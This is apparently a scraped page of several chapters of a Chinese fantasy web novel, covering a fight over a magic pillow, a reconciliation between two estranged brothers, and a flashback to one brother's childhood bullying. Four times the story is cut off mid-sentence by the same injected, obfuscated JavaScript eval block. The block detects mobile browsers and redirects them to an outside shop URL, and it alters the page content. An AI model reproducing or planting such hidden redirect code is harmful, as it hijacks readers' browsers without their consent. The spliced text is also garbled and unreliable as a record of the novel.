衔月已捡起地上的槐安枕,看着手里的东西脸上欣喜难掩,忽而表情顿住,只因手中玉枕吊坠竟化为一张符咒,他还没反应过来,符咒就自燃而尽,随之他身侧四周瞬间燃起了一周熊熊烈焰将他包围住。 是火燃符啊。 阿宋掐腰笑道:“怎么样?就你会用阵法,我们也会!” 话未说完就被喻遥拽着跑了出去。火燃符只能拖延衔月一段时间,他们得趁这功夫赶紧跑路。 二人朝入口狂奔,明明身后无声却莫名觉得压力倍增,阿宋奔跑间一回头,果然见衔月已背着双手宛若幽灵般飘着追到了近处。他此时脸色阴沉惨白,看着比喻遥还像个鬼,阿宋刚戏耍了他,说不害怕是不可能的,慌乱间从怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187712|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里掏出一把符咒也不看清是什么就朝他扔过去。 衔月毫无表情挥出手刀,所有的符纸没等发挥它们的效用就已被尽数斩断在空中。 肩膀猛地一沉,阿宋转首,已被衔月抓住了肩膀,抽出腰间匕首反划出去,衔月身型后移,仅仅被斩断一缕发丝。 喻遥指夹符咒,阿宋手持短匕,一同攻向衔月。三人缠斗,风声呼呼,时有拳脚相碰之声,喻遥飞扑过去掷出雷符,衔月眼神一凛敏捷侧身堪堪避过,阿宋看准时机箭步上前,匕首直抵他喉间,衔月早有预料,足尖轻点地面飞身而起。 喻遥从怀中摸了个空,糟糕!最后一张符咒已经被用完了。 半空的衔月似乎等的就是这一刻,手上托起团力量直朝喻遥射出! 距离甚远,阿宋已来不及飞身过去阻挡,关键时刻拽下颈间之物一掷而出!魂气算盘发挥效用,串珠尽数脱落,盘旋形成保护罩替喻遥挡住了关键一击。 他刚要从保护罩内跑出来,阿宋就把槐安枕扔到他手里,喝道:“不要出来!护好!” 语毕自己也跃起到半空,与衔月再度缠斗在一起。 喻遥只恨自己现在竟如此无用,竟要让阿宋独自面对这一切。他深知二人力量悬殊,阿宋绝对顶不了太久的,看着手中的槐安枕,他下定决心,不行就把这槐安枕给了衔月,至少要先保全他们自己。 他刚要脱出保护罩,忽而眯起双眼注意到了空中衔月躲避阿宋攻招的动作,一瞬间回想起刚刚他那整洁的衣物和白净的脸蛋,有什么念头在他心间飞过。 他朝阿宋喊道:“阿宋!专门袭他面部!” “啊?”阿宋在空中尴尬犹豫道:“不好吧!打人不打脸啊。” “......”喻遥道:“什么啊!他格外在意他的脸!你专袭他面部可扰他心神!” 阿宋应道:“好!” 然而这话,衔月也听得到,他一听见,登时开始减少攻招,加强面部防御,但此举正好让阿宋认证了喻遥的猜想,开始更加下狠手地连攻他面部。 衔月果然着急之下心神大乱准备落回地面,阿宋正要再度出手,忽然感觉心口灵息流动,暗骂一声我靠,灵息怎么在这个时候不稳了! 下一瞬她就向地面摔去,慌乱下本能的双手在空中乱挥,未料,这一挥刚刚好落在了也正在下落的衔月脸上,变成了实实在在的一耳光。 阿宋:“......” 衔月:“......” 喻遥:“......” 衔月刚稳稳落地就立即变出一个手镜,开始查看自己的脸蛋。 阿宋则摔在地上,立即爬起来双手抬起道:“那个,对不起啊,我不是故意的。” 她也不知道她为什么要道歉,但是她确实需要道歉,她一向力气大耳光自然扇的也狠,这一下子挨上,成功让衔月白皙的脸蛋瞬间多了五条红晃晃的手指印。 衔月拿着镜子的手开始发抖,脸色也越来越沉,忽而抬起头目光狠厉,咬牙切齿道:“我要杀了你们——” 80. 兄弟重逢 衔月双眼怒意难掩,周身亦因短时间内运起大量灵息而生出强烈的气焰,整个人身体绷紧,仿佛下一秒就要冲将过来将他二人千刀万剐,杀心尽现! 阿宋道:“完了完了,我就说打人不打脸,你看他真疯了!” 喻遥:“......” 衔月双手托起两团气焰,光芒倒映在他两颗黝黑的瞳仁里,下一瞬,两道气焰脱手激射而出,卷袭着强大的力量以极快的速度分别攻向喻遥和阿宋。 砰的一声,光芒在击中人后瞬间爆发出强烈的冲击力,阿宋看着喻遥的身体如同被狂风席卷的落叶一般,猛然向后倒飞出去,脸上的惊愕和痛苦让阿宋瞠目结舌。 而她却安然无恙,只因衔月攻出的那一瞬,喻遥将魂气算盘狠劲的向她掷出。 每一颗算盘珠都散发着淡淡的金色光晕,一圈圈围绕在阿宋身边保护着她,而此时,它们的主人却躺在不远处的石板地上,发出痛苦的呻吟。 “阿遥!” 顾不得会被衔月再度攻击,阿宋从保护罩中奔出,扶起地上的喻遥,急的眼泪都涌了出来,道:“阿遥!阿遥!你怎么样!阿遥!” 喻遥脸色惨白,只觉得身上难以忍受的剧痛如潮水般汹涌袭来,对上阿宋的双眼,却硬是逼自己强压下,勉强扯出个笑容道:“我,我没事。” 他此时的样子看起来怎么会没事? 阿宋擦拭他额头涔涔冒出的汗,道:“阿遥你先别说话,我现在给你疗伤!”她手捂在喻遥受击的心口,源源不断竭尽所有的往里输送灵息。 头顶渐渐被巨大的阴翳覆盖,阿宋抬头与衔月对视,冷声道:“要动他,先杀我!” 她的恐吓之语在他眼里毫无震慑力,衔月嘴角噙着阴狠的笑朝阿宋缓缓伸出手。 明知可能无用,但也要自己的身躯护住他。阿宋将喻遥紧紧地搂在怀里,越搂越紧,阖上双眼预备迎接到来的审判。 耳畔一声闷哼,阿宋惊觉睁眼。原本神采奕奕的衔月,刹那间竟然变了幅样子,满脸痛楚地捂着自己的心口不停地喘着粗气。 忽而,他朝着什么都没有的虚空怒斥道:“蠢货!我不会伤害他们的!你着什么急!” 阿宋和喻遥对视一眼,是慕恩吗?! 许是衔月危险的动作,刺激到了他身体内慕恩的幻魂,以至于在这危难时刻,慕恩忽然觉醒,试图夺回身体的控制权以保全他二人。 阿宋心中感动,慕恩从来都不只是单纯的幻魂,他是他们的朋友,是完完整整无比真实的一个人! 衔月身体开始不由自主地颤抖起来,手指用力地揪抓着胸口的衣服,似乎想要通过这种方式来减轻身体内风暴般翻涌的疼痛。 他喉咙里发出低沉的嘶声,那声音充满了痛苦与挣扎。眼神时而温和,时而凶狠,仿佛有两股无形的力量在他体内相互拉扯、博弈,如同一场激烈的战争。 阿宋喊道:“慕恩!” 一滴汗自他额头滚落,衔月嘲道:“你在鬼吼些什么?你......” 突然,衔月的表情一松,像是彻底被黑暗的漩涡吞噬,再也支撑不住,在喻遥和阿宋的注视下,他的身体沉重地倒在地上发出巨大的闷响,之后就没有了任何动静。 良久,阿宋才从喻遥身旁起身,走到衔月旁边蹲下身,见他双眼闭阖,竟是连呼吸声都听不到了。 她犹豫地伸出手想要探测他的鼻息,手指刚要触碰到他的皮肤,忽而腕间一紧,被衔月狠狠地攥住手腕! 衔月刚刚脸上的焦灼和痛楚须臾间尽数褪去,却仍是惨白,笑道:“幻魂终究是幻魂,再挣扎也斗不过主魂的,这个身体的主人永远都只有我一个。” 他一把拉拽着阿宋站起,左手松开她手腕的瞬间,右手狠狠掐住她的脖子。 喻遥撑着身体从地上爬起,刚刚站住,就又被衔月击倒。 阿宋想喊他,却因喉咙被勒紧无法发出声音。下一瞬,感受到衔月手上开始用力,阿宋浑身都起了一层因濒临死亡而感到恐惧,所产生的鸡皮疙瘩。 “哥哥——” 寂静的宫殿内,一声焦急的喊声陡然响起。 衔月表情瞬间凝滞了,手上的力道亦下意识松开。 阿宋摔坐在地上,回首,看到揽星气喘吁吁地站在门口,满面激动迫切。 衔月回过神要再去抓阿宋,揽星果断施出一道术法,得中衔月手掌。 这一击并不厉害,甚至连攻击都不算,因为它只是晃人的,无法对人造成任何伤害。 趁衔月发懵的空当,阿宋拉着喻遥躲到揽星身边。 衔月愣怔地看着自己被击中的手,忽而猛然攥紧,转过身看着揽星恶狠狠道:“你还是对我出手了,就像当年那样。” 揽星脸上闪过无措,下意识微微抬起双手道:“哥哥,我......” “闭嘴!谁是你哥哥?!” 衔月打断喝道:“好啊!你不是愿意杀吗?来啊,再杀我一次!” 揽星像个做错事的孩子,看着衔月,又是惶恐又是委屈,反复开口却半天都没道出一句话,仿佛生怕自己脱口之语不够慎重,就会让衔月再度爆发。 喻遥和阿宋在旁看着,心中震惊,原以为揽星衔月曾经只是共事的同僚,未成想,二人竟还是兄弟关系?! 喻遥手搭在揽星的肩膀上示意他小心衔月,揽星摇摇头,似乎在说没关系的,衔月不会伤害他。 半晌,内心鼓起勇气,揽星终于开口道:“哥哥,不是的,我从来没有想过伤害你,当年的事我确实有错,我和你道歉,你......” 不等他说完,衔月一手刀袭过来,堪堪擦过揽星的脸,留下一道血痕。 阿宋大惊喝道:“揽星大人小心,他是来夺槐安枕的!” “槐安枕?”揽星恍然大悟,惊喜道:“哥哥你想要的是槐安枕?” 喻遥道:“现在必须立刻制住他!此人心思诡异,小心他夺槐安枕操控回到过去加害他人!” 阿宋和喻遥已陷入准备战斗的状态,揽星急忙阻拦在双方中间,语气急促道:“不是的不是的!他不是想害别人!” 衔月冷冷道:“揽星,你假惺惺地做什么,谁要你解释了,难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212380|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还指望我对你感激涕零吗?” 面对他的冷言冷语,揽星似乎具备无尽的耐心,他叹口气道:“哥哥,你想要槐安枕,难道不是想回到过去,弥补遗憾吗?” 衔月一愣,此举刚好让揽星确认他猜对了。 揽星道:“哥哥,我们是亲兄弟,你的想法我怎会不清楚。” 衔月道:“你说的不错,揽星,我确实想要回到过去弥补遗憾,但我的遗憾里没有你,也没有他,即便回到过去,我也不后悔与你,与他断绝关系。” 他?这个他是谁? 阿宋暗道,既然提到断绝关系,这个未知的他会不会是他二人的父亲母亲? 揽星的嘴角微微下弯,形成一个苦涩的弧度,脸上的肌肉松弛着,写满了疲惫与哀伤,道:“我知道的哥哥,但当年之事,确实有误会,我希望你能听我解释。” 衔月微微摇头道:“我不会听你解释的,我只相信自己眼睛看到的,除非.....” 揽星亮眸。 衔月挥手变出一柄长剑。 这长剑剑柄为淡蓝色,剑身犹如寒冰打造,剑刃锋利无比,闪烁着冷冽的寒光,剑身亦萦绕着若月若无的凛月寒气,正是衔月始终未亮出的法器“寒魄”。 衔月道:“当年一战,是我一时心软让你钻了空子,可如今,我已坚定无比,绝不会再心软,这寒魄剑我多年封存,在这一刻打开,只盼今日与你再度决战,你要我听你解释,那便唯有打赢我,败者自会一切听命于胜者。” 揽星陷入漫长的迟疑,久到衔月已经觉得他已不会再回应之时,揽星忽而幽深开口道:“哥哥,我赢了,你就会听我的吗?” “要杀要剐,悉听尊便。” 似下定决心,揽星长吁一口气,挥变出捆魔索,双指端起,作出战斗之态,神色无比认真道:“哥哥,我从来都不想杀你的,更不想与你站在对立面,你要知道,如今一战,我只是想你能够静下心听我的解释。” 衔月微微动容,却很快正色,长剑反挥,道:“无需多言!来吧!” 空旷幽深的地宫之内,气氛紧张而凝重,两个人相对而立,预备重现多年以前,远在地界的那场殊死决斗。 衔月手持寒魄,剑指地面,身体微微前倾蓄势待发,喝道:“为何不用你的辰宿剑?” 揽星紧握着捆魔索,绳索泛着明灿的光,闻言,他愣怔瞬间后道:“灵索即可。” 衔月道:“好!若输了,可不要怪在武器身上!” 语毕,衔月闪电般冲向揽星,寒魄剑在空中划过一道凌厉的弧线,带着呼呼的风声刺向对方。 揽星毫无慌乱,脚步轻盈地向旁边一闪,手中捆魔索迅疾甩出,犹如一条出洞蛟龙,直扑衔月。 一瞬之间,剑与绳索相碰发出“铮”的一声脆响。 揽星手腕抖转,捆魔索瞬间缠绕上寒魄,用力一拉,连人带剑拽至身前。 衔月持剑的右臂被揽星制住,瞧着已落下势,却忽而笑得诡秘,左手端起手刀,直抵揽星大敞而开的心口命门! 阿宋喊道:“揽星大人小心!” 81. 悔不当初 揽星手上力道一松,以快到肉眼无法追溯的速度腾跃而起,衔月堪堪扑了个空。 捆魔索自动从寒魄剑上脱落,飞回到揽星手上。衔月眼神渐冷,跟随跃起到半空中,再度袭去。 两人一剑一索在空中你来我往。寒魄剑剑势愈发凌厉,狂风暴雨般不断袭向揽星,生出剑影重重。揽星则靠着灵活的身法和挥舞绳索变换多种形态,层层化解。 喻遥被阿宋搀扶着围观二人斗战,隐隐开始担忧。他看得出来,揽星顾念旧情,虽是对决却以避让为主,仅有少数主动出击,亦招招留有余地,可衔月却是每招皆是杀招,全然一心想取揽星性命。 他深知揽星真正的功力对战衔月并不会输,可如果真的一直这样避让下去,过后体力和灵息衰竭,那胜负就不一定了,何况衔月手里还有个一页之书没用上,万一真的联合法宝一起使用,那真就是必输无疑。 这时,衔月揽星战过一轮,各自落于殿内两侧。 衔月喝道:“使出你的杀招!一味躲避作甚?!以为这样我就还会心软吗?!” 揽星没有应声,只是手中捆魔索再次挥舞起来。衔月目光一凝,脚下步伐急速变换,二人再度陷入鏖战。 对决场上,剑气纵横,绳索飞舞,武器破空声交织混杂。衔月那双眼瞳中唯有冰冷的锐利,揽星的眼神却始终炽热,锁定着衔月,带着无尽的专注和坚定。 铮的一响,绳索再度捆缚住长剑,衔月却在此时手上用力一挑一甩,捆魔索受力从剑身飞出钉进墙内,揽星武器被夺双手空空,正待动作,衔月手里剑却以更快的速度刺向揽星的喉咙。 喻遥惊呼道:“完了!” 阿宋不忍再看捂住双眼。 然而,约到揽星喉咙三寸之处,长剑忽然如同被施了定身咒般,停了下来。 空中的揽星对着衔月露出笑容,温声道:“哥哥,你输了。” 阿宋猛然睁眼,揽星轻一挥手,登时衔月四周出现了奇异的变化。他原本什么都没有的周身,此刻竟忽然现出了数十根灵索缠绕在他肢体各处,手腕、脚腕、腰间,控制着他无法再做出任何动作。 每根灵索上都泛着揽星灵息的光点,阿宋恍然大悟,原来刚才揽星看似每次以绳索变化形态躲避攻击的同时,亦用绳索打出的灵息,随着他每一步移动的位置,无形中牵拉起了一张控制的“网”。 看似衔月始终处在上风,殊不知其早已落入揽星设置的圈套里了。 捆魔索挣扎了半天终于从墙里脱身飞回到主人身边,一下子缠绕住了被制止的衔月。 众人落回地面,揽星上前朝衔月伸出手,衔月却猛地避开。 揽星温声道:“哥哥,我只是想给你解开灵索的。” “解开灵索?”衔月冷笑道:“你不如直接杀了我给我个痛快!” 揽星身形一顿,衔月仍在冷嘲热讽道:“哦对了,你不能杀我,你是护佑地界百姓的好判官,我是造成地界大乱的叛徒,你应该抓我回去交差,永远关进十八层地狱,为你光辉的判官之位再添一抹荣光,哈哈哈哈哈哈哈!” 阿宋嘴角抽搐,瞧他如此狂妄冷嘲热讽的,不知道的还以为他才是胜利者呢!一转头对上喻遥警示的眼神,立即正色,一拍自己嘴巴,尴尬尴尬,心里吐槽忘记关心声传音了。 衔月笑得愈发癫狂,上下看了看揽星,眸间闪过一丝快意道:“我夺走你的脸,你是不是特别恨我啊,我们完美的黑判官大人,千万年来居然都只能顶着这张脸出入人世,多么可惜,多么遗憾!” 阿宋有点想锤他了,还没出手,揽星忽然激动开口道:“我从来都不恨你!我只觉得后悔!当年自己一念之差,竟害得你我兄弟二人反目成仇,落到如此境地。” 衔月沉默了,揽星蹲下身和衔月平视,看着他的眼睛道:“我也从来都不恨你夺走我的脸,有时,甚至很庆幸,因为这世间唯有这张脸,是你没有被消除的痕迹,而我思念你的时候,只需要望向身边的铜镜,就好像你还在我身边。” 衔月微有动容,他从未想过,这张曾经连他自己都厌恶无比的脸,竟会有人,如今把他夸得和珍宝一样。 揽星伸出手,喻遥立即按住冲他摇了摇头。 揽星冲他笑笑,仿佛在说没关系,轻拨开了他的手,解开了捆缚衔月的灵索。 揽星将衔月扶起,道:“哥哥,我找到你,只是想带着你回到过去,带你重现曾经的记忆,与你解开误会,让你知道父亲和我从来都没有放弃过你!” 阿宋了然,那个他果然指得是揽星和衔月的父亲。 对于揽星的父亲,喻遥并未见过其本人,信息了解也甚少,只知对方其名离凡君,约莫在地界二次动乱时就过世了,这个节点......莫非其离世也与衔月有关? 衔月注视着揽星,许久许久都没有动作,眼中流过复杂的情绪,他越是安静无声,揽星越是心里没底,着急地想去拉他的手臂,却再度被衔月避开。 衔月阖眼又睁开,声音充满着疲惫道:“罢了,那早已不是我所期望的了,我和他之间,从前不曾有过父子情深,今后也绝不会有,而你,或许曾经我真的念过与你的兄弟之情,但在地界决战,我假死遁身,化为月下仙人过后,就再也不曾有过了。” 揽星不可置信地看着衔月,忽然轻笑一声,这笑声笑得不是别人,正是他自己。 他渐渐垂下了手。 “真的是这样吗!”喻遥的声音忽然响起,与此同时一把接住揽星即将彻底垂下的手。 喻遥目光凿凿地看着衔月道:“你真的从那之后不再念过你与揽星的兄弟之情了吗!” 衔月不明地望着他,喻遥从怀里掏出一个锦盒,展开,里面是那块鱼佩。 他道:“这鱼佩,说起来它的用途,只有可以作为信物号令地界众官,可是,在你叛出地界,一切权利被收回后,我想这鱼佩就已经失去了它号令的功效,从上古玄玉变成了一块毫无用处的石头了。” 揽星心中流转过一个念头,猛然抬头看向喻遥,喻遥点头,继续道:“这块鱼佩被我发现的时候,它在这样一个精致的锦盒里装着,周边放置的尽数是三界内难寻的奇珍异宝。” 他故作疑惑道:“我想不通,一块普普通通失去功效的玉石,何以配得和这么多宝物待在一起呢?” 阿宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245837|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接话道:“一定是因为这块普通玉石具备很重要的情感意义啦!重要到比其他宝物的实际价值还要贵重多啦!” “没错!真聪明!”喻遥打了个响指,走到衔月面前,把鱼佩放到他的手里道:“它的贵重之处,我想只在于它被赠予你的那一刻,代表着你和你亲弟弟站在一起,同时接受判官之位时那份难忘的回忆。你厌恶你的过去,毁掉了你过去的所有,甚至连姓名身份都抛弃了,却只留下了它,我想,之后的,就不用我再多说了吧!” 衔月看着手里的鱼佩,玉石在他的手间流转出一道光芒。 “当然了,一切都是我们的猜测,真正的答案,还是要看物主本人。” 喻遥背过手走到一边。 揽星静静走到衔月身边,朝他伸出手,道:“哥哥。” 衔月盯着揽星的手掌看了许久,那鱼佩流转出的一道光悄然出现,猝不及防地投射进他黑暗荒芜的心里,固然微弱,但一瞬之间竟给了他莫大的勇气。 一个机会,只要再给一个机会就好...... 他们兄弟之间,是不是真的就能够复归往昔? ...... 良久,他伸出手,搭上揽星的手,道:“来吧。” 此话一出,屋内三人俱松了口气,揽星终于露出畅快的笑容。 阿宋喻遥对视一眼亦是微笑,不仅为揽星衔月兄弟情复苏感到开心,还有个关键便是,他们知道,衔月显然知道那神秘黑袍人的信息,只有解开了衔月的问题,他才会心甘情愿的告知他们所有。 喻遥伤重,便由阿宋操控槐安枕。 揽星衔月兄弟枕前携手。衔月的手拉的很松,忽然感到手间一紧,抬眼就对上了揽星坚定的眼神,那眼神仿佛在说:信我。衔月愣怔半晌,渐渐地手上加重了力度亦变为紧握。 槐安枕光辉四溢,刹那间天地变幻,二人回到了久远的过去。 阿宋看着槐安枕投射出的画面,正是一方宽敞的庭院,她下意识问道:“这什么地方?” 喻遥仔细辨认了一阵,摇摇头。 庭院中,一株参天的古树伸展着繁茂的枝叶,犹如一把巨伞,投下大片的绿荫。微风吹过,树叶沙沙作响。 一个坐着轮椅的人出现在树下,是背影,看不到脸,但瞧身型年龄应该不大,也就十三四岁左右的男子身姿。 古树旁边就是高墙,墙外忽然传来窸窸窣窣的声音,那人转首望去,露出稍显稚嫩的半张脸,脸上有一道从发际延伸至眼皮的疤痕。 小时候的揽星?不不不,这时候两人还没有交换容貌,这个应该是衔月。 阿宋细瞧那疤痕,和现在揽星脸上的几乎一模一样,普通的疤痕会随着年龄的增长逐渐淡化,这个却没有,她猜测,莫非这不是后天所致的疤痕,而是胎记? 小衔月紧盯着那面高墙看,不一会儿,墙沿忽然伸出几个小心翼翼又颤颤巍巍的瘦小身影,翻越这座高墙显然让他们十分吃力,但他们眼中却闪烁着兴奋与好奇的光芒。 竟是几个小孩?翻墙来别人家恶作剧的? 这时,阿宋忽然注意到,小衔月的身体开始微微颤抖起来。 82. 踽踽独行 几个小孩倏一在墙头坐稳,就注意到了院内有人,登时面露慌乱,而待看清是衔月,又瞬间长吐一口气,神色恢复如常了。 为首的是个锦缎长衫穿着富贵的男孩,开口就不客气招呼道:“呦,离凡君家的瘸儿子在家呢!” 这位出言不逊的,是地界上任判官桑逸君家里的小儿子,纵然年纪轻轻十岁有余,却在这一带和他爹一样出名。只是,老子出的是美名,儿子出的却是恶名。 桑逸君身为判官,多年以来为官有道,德高望重名声在外自然不必多说,只是这位好官处理地界事务是手到擒来,偏偏在家庭教育上处理无方,过于骄纵孩子,以至于把桑二养出了个跋扈的性格,平日里除了老子和亲哥,不尊重别人到处撩骚恶心人是常态,亦不允许任何人违逆他的行为和言语,看在他爹哥的面子上,身边倒也聚了群狗腿子常伴其侧。 果不其然,他一说话,旁边几个孩子立刻跟着捧场嘻嘻笑了起来,表情满是讥讽。只有一个看着怯懦懦的小男孩,或许是刚刚加入他们,还没完全融入他们的糟糕氛围,小声提醒道:“小桑哥......我们溜进他家还当面这么说他会不会不太好......” “什么不好?!”一听有人帮衔月说话,桑二立刻横眉冷竖喝道:“有什么不好?又不是第一次说了,你看他有说什么吗?不爱听的话,他就站起来打我不就好喽!” 站?他让人家怎么站?对着身有残疾的人说这种话,这不是纯纯羞辱人吗?私闯别人家还如此出言不逊! 看得阿宋心头一股火蹭的就涌了上来,只恨不得立刻冲进去亲手教训这几个孩子。 下一瞬,桑二就不管不顾一把把那个违逆他的小孩推下了高墙,墙外立刻传来一声痛呼。 衔月握紧了轮椅的把手,终于忍不住开口道:“桑二,适可而止!” 桑二两手指头扒嘴冲他略略略吐了好几下舌头,摇头晃脑满不在乎道:“我就不!” 紧接着,无比熟练的,几个小孩鼓起掌来齐声道—— “小瘸腿,大疤瘌,衔月是个怪娃娃。” “爹不疼,没娘爱,好似野草被人踹。” 此情此景,看得连一向面色冷静的喻遥都皱起了眉头。 能在须臾间齐齐道出这样侮辱性的童谣,显然说明,这样的言语霸凌,衔月并非是初次,甚至可能是经常遇到了。 衔月的脸色瞬间变得通红,嘴唇微微颤抖,却是紧紧咬着牙关,似乎在极力压抑着胸间的怒火,桑二话说的难听,但确实有一点是对的,便是纵然他愤怒至极,此时却哪怕连从轮椅上站起来都做不到,他也无法反驳,因为每每只要他一开口,对面的人就会用更紧密更剧烈的声量来压制住他的言语。 侮辱的童谣还在喧闹不止,像是再也无法忍受,衔月指间发白的双手捂住双耳,整个人在轮椅上痛苦地缩成一团,仿佛这样,那些难堪的字句就真的会隔绝于耳。 看到他的这幅样子,桑二更加得意了,不仅没有住口,反而站起来招呼着身边的人喊得更大声了。 “砰!” 突然,一声清脆的声响穿过庭院内击中了什么,随之桑二“哎呦”惨呼一声竟摔下了高墙另一侧。 嘲笑声戛然而止。 所有人还没等反应过来是怎么回事,就见一道凌厉身影从院内那棵高高巨树的枝繁叶茂间猛然落下。 来人身姿如松,一头乌发束成高高的马尾,却留了几缕发丝调皮地垂落在额前,多了几分随性。如若美玉的脸上,格外清澈明亮的一双眼瞳灿若星辰,目光流转间灵气迸发。 好一个俊俏的少年郎! 尽管那张脸彼时尚显稚嫩,喻遥阿宋还是一眼便能认出,此人正是揽星。 他立身于衔月面前,回头朝衔月调皮地眨了下单边的眼睛,随后立即转回,晃了晃手上的桃木弹弓,对着墙上几个少年道:“喂!刚刚是谁在我们家乱叫呐?” 墙外传来桑二的叫骂声:“揽星!你他妈敢打我!” 揽星手放在耳边道:“哪来的狗叫声,这么凶!” 桑二:“你他......” 揽星霎时眼神一凛,没等桑二再回骂出更难听的话,他手中几颗石子已快速连续脱身弹弓。 所有人顷刻间中弹坠入墙下,只听一群呼喊声中夹杂着一声巨大的闷哼。揽星啧啧道:“看来桑二被压得不轻。” 语毕不管墙那头的一伙人,蹦蹦跶跶地就跑到衔月身边蹲下身看着他道:“哥哥你看,我把他们都打跑了呦。” 眼神之明亮,如同邀功的小狗一般。 然而,衔月却态度异常的冷淡,面无表情地抛出疑问道:“你为何会出现在此?” 揽星一愣,眼神下意识躲闪道:“我,我在树上睡觉来着。” “撒谎!” “没撒谎!”一对上衔月的眼睛,揽星立刻怂了老实道:“好吧,我是撒谎了。” 衔月冷冷道:“我说过了,不要跟着我,离我远点。” 说完话,他便略显吃力地拉转起他的轮椅,转身离开了,只余手足无措的揽星待在原地。 纵然俗话常讲生病的人脾气有时候不可避免的会变得古怪,但此情此景,看的阿宋还是迷惑了,无论如何,刚才那样一番场景下,弟弟来帮忙,也该得到一句感谢的,但衔月却是这个态度,真真是不免叫人心寒。 然而很快,他们就明白,到底是为何了。 晚饭时分,衔月来到膳厅的时候,揽星就已经在了。衔月看起来好像真的不太喜欢与人接触,身边也没个下人侍奉,靠他自己转轮椅转了半天才挪到桌前。 其实揽星一开始就注意到他进来了,下意识想起身去帮忙,可能是又想到衔月白日的警告之语,又讪讪地收回了动作,只能余光一直瞥着。 餐桌前只有兄弟俩,都默默的各自进食,谁也不说话,一顿饭吃的,气氛连眠境外的阿宋看着都莫名紧张。 忽然,一阵脚步声打破了这份宁静。 喻遥轻声道:“离凡君?” 阿宋看着踏进门来的这位不怒自威的年长男子,暗道这就是揽星衔月的父亲? 他进来的瞬间,衔月的面色就不太好了,揽星则相反,从小到大都是那副嬉皮笑脸的模样,开口就喊人“爹!你怎么才回来,我们都快吃完了,你......” 话未说完,离凡君就一掌狠拍在桌上,喝道:“跪下!” 揽星一惊,手里的碗差点掉了,但父命难违,他虽感到莫名,还是立即放下碗乖乖跪下了。 离凡君转眼看着衔月道:“你也是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327502|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此话一出,揽星立刻急了,道:“爹你干嘛!哥哥有伤的!” 衔月腿有残疾,吃不上力,自己是站不起来了的,离凡君便招呼两个下人把他从轮椅上拉起拽着跪了下来。 离凡君怒指二人道:“你们下午都干了什么!” 这下揽星瞬间明了了,肯定是把桑二打下墙的事情被他知道了。离凡君痛心疾首道:“你们知道不知道,你们把人孩子都给摔骨折了,这让我怎么跟桑逸君交代!” 离凡君也在地君手下任职,和桑逸君算是同僚关系,今天下午正和众官开会,桑逸君就带着瘸胳膊瘸腿的桑二找上了他,直指他们家两位公子把他家的小儿子弄伤,众目睽睽之下把他弄得尴尬不已,百般道歉才稳住了人,憋着一肚子火就等着晚上回家收拾罪魁祸首。 一听他讲述,揽星不仅不慌,反而哈哈笑道:“活该!桑二跋扈惯了,就该这么教训教训他!” “闭嘴!说什么呢!” 揽星老实闭嘴了,也没老实太久,几秒过后又撇撇嘴一脸不服道:“我又没说错,他翻进咱们家,又骂哥哥,我教训他怎么了,而且我就拿弹弓打了他一下,他自己笨手笨脚摔下去了。” 离凡君一眼刀横过来,意思让他闭嘴,转身却是走到衔月面前道:“月儿,下午弟弟打人的时候,你在干什么?” 衔月不知道要回答什么。 离凡君又道:“你弟弟性子顽劣易生事端,你做哥哥的,理当多加看管,下午出那样的事情,你也不知道拦一下?回头说出去,别人要如何议论我们家的家教,议论你弟弟?” 衔月的表情几乎是一下子就扭曲了。拦?他怎么拦?他站都站不起来,要如何拦? 揽星急忙接话道:“爹,跟哥哥有什么关系,是我要教训他们的,而且我觉得我也没做错吧,是他们先骂哥哥的!骂的话实在是不堪入耳!” 离凡君忍不住道:“他说了什么?” 揽星语噎道:“就!就,就那些......” “重要吗?”衔月忽然开口,目光凿凿地看着离凡君。 离凡君语气沉下来道:“你说什么?” 